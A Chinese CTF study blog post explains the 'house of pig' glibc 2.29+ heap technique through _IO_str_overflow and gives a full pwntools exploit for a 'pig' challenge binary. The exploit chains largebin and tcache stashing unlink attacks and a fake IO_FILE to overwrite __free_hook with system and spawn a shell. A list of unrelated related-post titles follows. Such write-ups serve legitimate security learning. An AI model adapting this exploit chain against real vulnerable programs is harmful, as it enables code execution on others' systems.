摆烂很长时间之后,终于下定决心来看点新的东西。正好 winmt 师傅前不久把他 pig 修好的附件发给我了,我就借此来学习一下新版本的 IO_FILE 及 house of pig。

新版本的 IO_FILE 利用的函数是老版本中喜欢用的 _IO_str_overflow,我们来看一下 glibc 2.29 下的_IO_str_overflow 的源码

int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size);
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
} if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}

里面调用了  malloc ,memcpy,free 函数,且通过伪造 IO_FILE 结构,我们可以控制 malloc 的大小,memcpy 的参数等,借此我们就可以大致完成接下来 house of pig 的利用了。但是我这里先记叙一个也是通过这个函数来进行 ORW 的方法。我们观察这个函数在 glibc 2.29 里的汇编

注意到有 mov    rdx,[rdi + 0x28] 的操作也就是说我们可以尝试通过 rdi 来控制 rdx,并且此时的 rdi 就是 fake IO_FILE 结构体的首地址,通过 largebin attack 即可控制 rdx,而 glibc 2.29 及以上的 setcontext 里由原来的 rdi 控制寄存器转变为由 rdx 控制寄存器。所以我们一旦利用这个函数进行攻击那么就不需要寻找特定的 gadget 来对寄存器进行转换,并且这个函数中的转换是在调用 malloc 之前。我们如果事先把 __malloc_hook 改为 setcontext 的地址,并且提前布置好 ORW 的位置(把 srop_addr 放在 _IO_write_ptr 上),那么再调用 _IO_str_overflow 的时候就会先控制好 rdx 寄存器,再通过 __malloc_hook 来触发 setcontext 来进行对 rsp ,rip 的控制,从而控制程序执行流来执行 ORW。

好了现在下面讲 house of pig 这个操作,其主要原理在上面已经提到,就是利用 _IO_str_overflow 里的 malloc,memcpy,free函数的连续调用。通过合理布局把 __free_hook - 0x10 的位置链入 tcache 中,再通过伪造的 IO_FILE 来使得 malloc 时可以把 __free_hook - 0x10 申请出来,并且可以通过 memcpy 把 system_addr  复制到 __free_hook 中,最后即可通过 free(old_buf) 来 get shell。

从上面源码 size_t new_size = 2 * old_blen + 100; 可知 malloc 的 size = 2*( _IO_buf_end -  _IO_buf_base) + 100

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' s = process('./pig')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
s.sendlineafter(b'Choice: ' , b'1')
s.sendlineafter(b'size: ' , str(size))
s.sendlineafter(b'message: ' , content) def show(index):
s.sendlineafter(b'Choice: ' , b'2')
s.sendlineafter(b'index: ' , str(index)) def edit(index,content):
s.sendlineafter(b'Choice: ' , b'3')
s.sendlineafter(b'index: ' , str(index))
s.sendafter(b'message: ' , content) def delete(index):
s.sendlineafter(b'Choice: ' , b'4')
s.sendlineafter(b'index: ' , str(index)) def change(user):
s.sendlineafter(b'Choice: ' , b'5')
if (user == 1):
s.sendlineafter(b'user:\n' , b'A\x01\x95\xc9\x1c')
elif (user == 2):
s.sendlineafter(b'user:\n' , b'B\x01\x87\xc3\x19')
elif (user == 3):
s.sendlineafter(b'user:\n' , b'C\x01\xf7\x3c\x32') #----- prepare for tcache stashing unlink attack
change(2)
for i in range(5):
add(0x90 , b'B'*0x28) # B0-B4
delete(i) # B0-B4 change(1)
add(0x150 , b'A'*0x68) # A0 for i in range(7):
add(0x150 , b'A'*0x68) # A1-A7
delete(i+1) # A1-A7
delete(0) change(2)
add(0xb0 , b'B'*0x28) # B5 split 0x160 to 0xc0 and 0xa0 change(1)
add(0x180 , b'A'*0x78) # A8
for i in range(7):
add(0x180 , b'A'*0x78) # A9-A15
delete(i+9)
delete(8) change(2)
add(0xe0 , b'B'*0x38) # B6 split 0x190 to 0xf0 and 0xa0 #----- leak libc_base and heap_base
change(1)
add(0x430 , b'A'*0x158) # A16 change(2)
add(0xf0 , b'B'*0x48) # B7 change(1)
delete(16) change(2)
add(0x440 , b'B'*0x158) # B8 throw A16 to largebin change(1)
show(16)
s.recvuntil(b'message is: ')
libc_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x1ebfe0
success('libc_base=>' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
__free_hook = libc_base + libc.sym['__free_hook']
_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_str_jumps = libc_base + 0x1ed560 edit(16 , b'A'*0xf + b'\n')
show(16)
s.recvuntil(b'message is: ' + b'A'*0xf + b'\n')
heap_base = u64(s.recv(6).ljust(8 , b'\x00')) - 0x13940
success('heap_base=>' + hex(heap_base)) #----- first largebin attack
edit(16 , p64(libc_base + 0x1ebfe0)*2 + p64(heap_base + 0x13940)*2 + b'\n')
add(0x430 , b'A'*0x158) # A17
add(0x430 , b'A'*0x158) # A18
add(0x430 , b'A'*0x158) # A19 change(2)
delete(8)
add(0x450 , b'B'*0x168) # B9 throw B8 to largebin change(1)
delete(17) # throw A17 to unsortedbin change(2)
edit(8 , p64(0) + p64(__free_hook - 0x28) + b'\n') change(3)
add(0xa0 , b'C'*0x28) # c0 triger largebin attack to write a heap_addr to __free_hook - 8 change(2)
edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover #----- second largebin attack
change(3)
add(0x380 , b'C'*0x118) # c1 clean unsortedbin change(1)
delete(19) change(2)
edit(8 , p64(0) + p64(_IO_list_all - 0x20) + b'\n') change(3)
add(0xa0 , b'C'*0x28) # c2 tiger largebin attack to write a heap_addr to _IO_list_all change(2)
edit(8 , p64(heap_base + 0x13e80)*2 + b'\n') # recover #------ tcache stashing unlink attack
change(1)
payload = b'A'*0x50 + p64(heap_base + 0x12280) + p64(__free_hook - 0x20) + b'\n'
edit(8 , payload) change(3)
payload = b'\x00'*0x18 + p64(heap_base + 0x147c0)
payload = payload.ljust(0x158 , b'\x00')
add(0x440 , payload) # c3 change fake file _chain
add(0x90 , b'C'*0x28) # c4 triger tcache stashing unlink attack to put __free_hook-0x10 to tcache fake_IO_FILE = p64(0) # _IO_read_end
fake_IO_FILE+= p64(0) # _IO_read_base
fake_IO_FILE+= p64(1) # _IO_write_base
fake_IO_FILE+= p64(0xfffffffffffff) # _IO_write_ptr
fake_IO_FILE+= p64(0) # _IO_write_end
fake_IO_FILE+= p64(heap_base + 0x148a0) # _IO_buf_base
fake_IO_FILE+= p64(heap_base + 0x148b8) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0xb0 , b'\x00')
fake_IO_FILE+= p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xc8 , b'\x00')
fake_IO_FILE+= p64(_IO_str_jumps) # _vtable payload = fake_IO_FILE + b'/bin/sh\x00' + p64(system_addr)*2 s.sendlineafter(b'Gift:' , payload) s.sendlineafter(b'Choice: ' , b'5')
s.sendline(b'') gdb.attach(s)
s.interactive()

附件

提取码:976p

参考链接:

https://mp.weixin.qq.com/s/U3FmOwXeWzq_FvwLTk1-Zg

https://www.anquanke.com/post/id/242640

https://www.anquanke.com/post/id/216290#h3-2

glibc2.29以上 IO_FILE 及 house of pig的更多相关文章

  1. Centos7 64位 -- glibc-2.29 编译升级方法(已成功)

    某软件出现漏洞,需要升级解决(忘了哪个)结果提示glibc版本过低. 懵懂无知的我以为glibc想其他软件一样编译升级一下就好.. 结果? 重装系统! 说真的,如非必要(或学习),请勿升级 glibc ...

  2. lfs(systemd版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第2页 的地址:https://www.cnblogs.com/renren-study-no ...

  3. lfs(systemd版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemd)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  4. lfs(systemv版本)学习笔记-第3页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv版本)学习笔记-第2页的地址:https://www.cnblogs.com/renren-study-n ...

  5. lfs(systemv版本)学习笔记-第2页

    我的邮箱地址:zytrenren@163.com欢迎大家交流学习纠错! lfs(systemv)学习笔记-第1页 的地址:https://www.cnblogs.com/renren-study-no ...

  6. Centos7 -- glibc 升级失败、意外删除、故意删除后的处理方法

    第一部分:测试(如果不是想测试效果,可以直接跳到第三部分) 鉴于不久前 glibc-2.29 升级失败导致一系列的工具无法正常使用,‘’ 本着研究精神的我决定删除 glibc及其库文件 ,测试影响范围 ...

  7. Glibc编译报错:*** These critical programs are missing or too old: as ld gcc

    Binutils版本升级 这里是binutils版本过低导致, 查看已部署版本 上传离线升级包 [root@sdw1 glibc]# tar -zxvf binutils-2.32.tar.gz [r ...

  8. Tcahce Stashing Unlink Attack

    今年校赛有点可惜,最后两道质量不错的pwn每做出来,总的来说还是我太菜了,希望下次校赛能AK pwn题.不过这次校赛也没有白打,还是有学到新的东西的.在这里感谢出题的学长. glibc-2.29以后u ...

  9. Pig On Mac

    Install 首先是 Mac OS 下的安装 1 2 export JAVA_HOME=$(/usr/libexec/java_home) brew install pig Run Pig 运行分为 ...

随机推荐

  1. 「ZJOI2017」树状数组

    「ZJOI2017」树状数组 以下均基于模2意义下,默认\(n,m\)同阶. 熟悉树状数组的应该可以发现,这题其实是求\(l-1\)和\(r\)位置值相同的概率. 显然\(l=1\)的情况需要特盘. ...

  2. Ajax向服务器发起请求

    Ajax向服务器发起请求的三个步骤: 1:创建Ajax 2:打开Ajax,打开Ajax请求 3:向服务器发起请求:需要知道地址和是get请求还是post方法 向服务器发起请求的两个方法:open 和 ...

  3. Nodejs ORM框架Sequelize(模型,关联表,事务,循环,及常见问题)

    1.建立连接 const Sequelize = require('sequelize'); const sequelize = new Sequelize('database', 'username ...

  4. Java-基于JDK的动态代理

    原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/11686615.html 简单的记录一下Java中自带动态代理的用法. 准备材料: 1.一个接口 ...

  5. Scala中的运算符

    Scala和Java中的运算符用法基本一致. 一.区别 1."=="和"equals"的用法 Java: String str1 = "abc&quo ...

  6. HTTP状态码100、200、300、400、500、600的含义

    1xx (临时响应)表示临时响应并需要请求者继续执行操作的状态代码. 100 (继续) 请求者应当继续提出请求. 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分. 101 (切换协议) 请 ...

  7. web测试学习大纲

    Web测试 Web测试体系介绍 网络协议 Web开发 基础 原理 前端分析 安全性测试 可用性,兼容性 功能测试(同系统测试) 理解网络协议 互联网历史沿革 Web系统基础 Web核心技术 web服务 ...

  8. 帆软报表(finereport)使用Event 事件对象 (target)修改提示框样式

    target 事件属性 Event 对象 定义和用法 target 事件属性可返回事件的目标节点(触发该事件的节点),如生成事件的元素.文档或窗口. 语法 event.target 定义结束事件Jav ...

  9. 为什么大厂前端监控都在用GIF做埋点?

    什么是前端监控? 它指的是通过一定的手段来获取用户行为以及跟踪产品在用户端的使用情况,并以监控数据为基础,为产品优化指明方向,为用户提供更加精确.完善的服务. 如果这篇文章有帮助到你,️关注+点赞️鼓 ...

  10. jquery里的Ajax解析

    现在对Jquery的Ajax进行详细的解析. 顺带,我会在后面把我整理的一整套CSS3,PHP,MYSQL的开发的笔记打包放到百度云,有需要可以直接去百度云下载,这样以后你们开发就可以直接翻笔记不用百 ...